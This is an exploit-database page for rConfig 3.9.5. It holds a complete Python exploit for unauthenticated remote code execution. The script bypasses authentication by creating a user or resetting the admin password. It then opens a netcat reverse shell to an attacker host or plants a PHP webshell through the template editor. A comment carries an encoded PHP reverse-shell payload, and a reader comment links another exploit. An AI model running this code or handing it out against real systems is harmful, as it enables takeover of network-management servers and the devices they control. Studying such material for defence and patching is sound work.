rConfig 3.9.5 Remote Code Execution (Unauthenticated)

2020.10.15

Credit: **Daniel Monzón (https://cxsecurity.com/author/Daniel+Monz%C3%B3n+/1/)**

Risk: **High** | Local: **No** | Remote: **Yes**

CVE: **N/A** | CWE: **N/A**

```
# Exploit Title: rConfig 3.9.5 - Remote Code Execution (Unauthenticated)

# Google Dork: N/A
# Date: 2020-10-13
# Exploit Author: Daniel Monzón (stark0de)
# Vendor Homepage: https://www.rconfig.com/
# Software Link: https://www.rconfig.com/downloads/rconfig-3.9.5.zip
# Version: rConfig v3.9.5
# Tested on: CentOS 7 x64
# CVE : N/A



import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
import urllib3
import re
#from bs4 import BeautifulSoup

urllib3.disable_warnings()

url="https://x.x.x.x/" #change this to fit your URL (adding the last slash)
payload="nc y.y.y.y 9001 -e /bin/sh"  #change this to whatever payload you want
payload_rce= "fileName=../www/test.php&code=<%3fphp+echo+system('ls')%3b%3f>&id=3" #if you want to use Method 2 for RCE, use a PHP, urlencoded payload as the value of the code parameter

print("Connecting to: {}".format(url))
print("Connect back is set to: {}, please launch 'nc -lv 9001'".format(payload))

x = requests.get(url+"login.php", verify=False)
version = re.search("<p>(.*)<span>", x.text)
version = version.group(1)

if version == "rConfig Version 3.9.5":
   print("Version 3.9.5 confirmed")
else:
   print("Version is "+version+ " it may not be vulnerable")

payload_final=";"+payload
referer=url+"useradmin.php"
origin=url
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"} #in case you need to debug the exploit with Burp, add ', proxies=proxies' to any request

def createuser():

    multipart_data = MultipartEncoder(
       fields={
               'username': 'test',
               'password': 'Testing1@', #password should have a capital letter, lowercase, number and a symbol
               'passconf': 'Testing1@',
               'email': 'test@test.com',
               'ulevelid': '9',
               'add': 'add',
               'editid': ''
              }
       )
    headers = {'Content-Type': multipart_data.content_type, "Upgrade-Insecure-Requests": "1", "Referer": referer, "Origin":origin}
    cookies = {'PHPSESSID': 'test'}
    response = requests.post(url+'lib/crud/userprocess.php', data=multipart_data, verify=False, cookies=cookies, headers=headers, allow_r
edirects=False)
    if "error" not in response.text:
        print("(+) User test created")
    else:
        print("(-) User couldn't be created, please debug the exploit")


def exploit():
    payload = {
    'user': 'test',
    'pass': 'Testing1@',
    'sublogin': '1'
}
    with requests.Session() as s:
         p = s.post(url+'lib/crud/userprocess.php', data=payload, verify=False)
         if "Stephen Stack" in p.text:
            print("(-) Exploit failed, could not login as user test")
         else:
            print("(+) Log in as test completed")
            params = {'path':'test',
                      'ext': payload_final
                     }
            rce=s.get(url+'lib/ajaxHandlers/ajaxArchiveFiles.php', verify=False, params=params)
            if "success" in rce.text:
                print("(+) Payload executed successfully")
            else:
                print("(-) Error when executing payload, please debug the exploit") #if you used method 2 to auth bypass and 1 for RCE, i
gnore this message
    payload = {
    'user': 'admin',
    'pass': 'Testing1@',
    'sublogin': '1'
}
    with requests.Session() as s:
         p = s.post(url+'lib/crud/userprocess.php', data=payload, verify=False)
         if "Stephen Stack" in p.text:
            print("(-) Exploit failed, could not login as user test")
         else:
            print("(+) Log in as test completed")
            params = {'path':'test',
                      'ext': payload_final
                     }
            rce=s.get(url+'lib/ajaxHandlers/ajaxArchiveFiles.php', verify=False, params=params)
            if "success" in rce.text:
                print("(+) Payload executed successfully")
            else:
                print("(-) Error when executing payload, please debug the exploit")


def user_enum_update():
    users=requests.get(url+'useradmin.inc.php', verify=False)
    #matchObj = re.findall(r'<td align="center">(.*?)</td>', users.text, re.M|re.I|re.S)

    if "admin" in users.text:
      print("(+) The admin user is present in this rConfig instance")
      multipart_data = MultipartEncoder(
       fields={
               'username': 'admin',
               'password': 'Testing1@', #password should have a capital letter, lowercase, number and a symbol
               'passconf': 'Testing1@',
               'email': 'admin@admin.com',
               'ulevelid': '9',
               'add': 'add',
               'editid': '1' #you may need to increment this if you want to reset the password of a different user
              }
       )
      headers = {'Content-Type': multipart_data.content_type, "Upgrade-Insecure-Requests": "1", "Referer": referer, "Origin":origin}
      cookies = {'PHPSESSID': 'test'}
      response = requests.post(url+'lib/crud/userprocess.php', data=multipart_data, verify=False, cookies=cookies, headers=headers, allow
_redirects=False)
      if "error" not in response.text:
          print("(+) The new password for the admin user is Testing1@")
      else:
          print("(-) Admin user couldn't be edited, please debug the exploit")
    elif  "Admin" in users.text:
       print("(+) There is at least one Admin user, check "+ str(url)+"useradmin.inc.php manually and modify the exploit accordingly (erase the if-elif statements of this function and modify the user payload)")

def template():
    payload = {
    'user': 'admin',
    'pass': 'Testing1@',
    'sublogin': '1'
}

    #<%3fphp+%24sock%3Dfsockopen%28%22192.168.1.13%22%2C1234%29%3Bexec%28%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22%29%3B%3f>
    headers_rce = {'Content-Type': "application/x-www-form-urlencoded; charset=UTF-8", "Referer": url+"deviceConnTemplates.php", "Origin":origin, "X-Requested-With": "XMLHttpRequest", "Accept-Language": "en-US,en;q=0.5"}
    with requests.Session() as s:
         p = s.post(url+'lib/crud/userprocess.php', data=payload, verify=False)
         if "Stephen Stack" in p.text:
            print("(-) Exploit failed, could not login as user test")
         else:
            print("(+) Log in as admin completed")
            rce=s.post(url+'lib/ajaxHandlers/ajaxEditTemplate.php', verify=False, data=payload_rce, headers=headers_rce)
            if "success" in rce.text:
                print("(+) File created")
                rce_req = s.get(url+'test.php.yml', verify=False)
                print("(+) Command results: ")
                print(rce_req.text)
            else:
                print("(-) Error when executing payload, please debug the exploit")

def main():
    print("Remote Code Execution + Auth bypass rConfig 3.9.5 by Daniel Monzón")
    print("In the last stage if your payload is a reverse shell, the exploit may not launch the success message, but check your netcat ;)")
    print("Note: preferred method for auth bypass is 1, because it is less 'invasive'")
    print("Note2: preferred method for RCE is 2, as it does not need you to know if, for example, netcat has been installed in the target machine")
    print('''Choose method for authentication bypass:
        1) User creation
        2) User enumeration + User edit ''')
    auth_bypass=str(input("Method>"))
    if auth_bypass == "1":
       createuser()
    elif auth_bypass == "2":
       user_enum_update()
    print('''Choose method for RCE:
        1) Unsafe call to exec()
        2) Template edit ''')
    rce_method=str(input("Method>"))
    if rce_method == "1":
       exploit()
    elif rce_method == "2":
       template()
main()
```

See this note in RAW Version (https://cxsecurity.com/ascii/WLB-2020100091)

Lul

Vote for this issue: 0 0

50% 50%

Comment it here.

Nick (*)

Nick

Email (*)

Email

Video

Link to Youtube

Text (*)

guly | Date: 2020-10-15 *15:35* CET+1

actually this is CVE-2020-13778, still reserved because FUBAR.
my exploit has been published at https://github.com/theguly/exploits/blob/master/CVE-2020-13778.py
companion blog post https://theguly.github.io/2020/09/rconfig-3.9.4-multiple-vulnerabilities/